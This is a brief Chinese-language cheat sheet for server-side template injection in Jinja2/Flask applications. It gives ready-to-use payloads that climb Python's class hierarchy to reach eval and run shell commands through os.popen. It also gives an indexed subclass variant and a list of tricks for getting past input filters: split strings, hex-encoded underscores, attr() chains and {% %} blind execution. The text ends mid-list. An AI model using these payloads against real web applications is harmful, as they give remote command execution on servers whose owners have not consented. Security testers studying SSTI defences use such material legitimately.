获取eval函数执行
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
或者三步走
{{%27%27.__class__.__base__.__subclasses__()}}
然后https://www.huatools.com/comma-split/从这里面找到os._wrap_close
{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
对应数组直接打
在实际操作的过程中,经常会发现某些函数或者符号被过滤了,这个时候就需要一些绕过的技巧,这有助于我们进一步的开展攻击
url_for 可用 get_flashed_messages 或 request.application.__self__._get_data_for_json 等替换;['__builtins__']['eval'] 变为 ['__bui'+'ltins__']['ev'+'al'];__globals__ 可用 __getattribute__('__globa'+'ls__') 替换;[]中括号可用 .__getitem__() 或 .pop() 替换;{{或者}},可以使用{%绕过,{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果_,可以用编码绕过, 比如:__class__ => \\x5f\\x5fclass\\x5f\\x5f_,还可以用dir(0)[0][0]或者request['args']或者 request['values']绕过. 我们可以采用attr()或[]绕过,比如:{{""|attr("__class__")|attr("__subclasses__")}}="".__class__.__subclasses__payload example: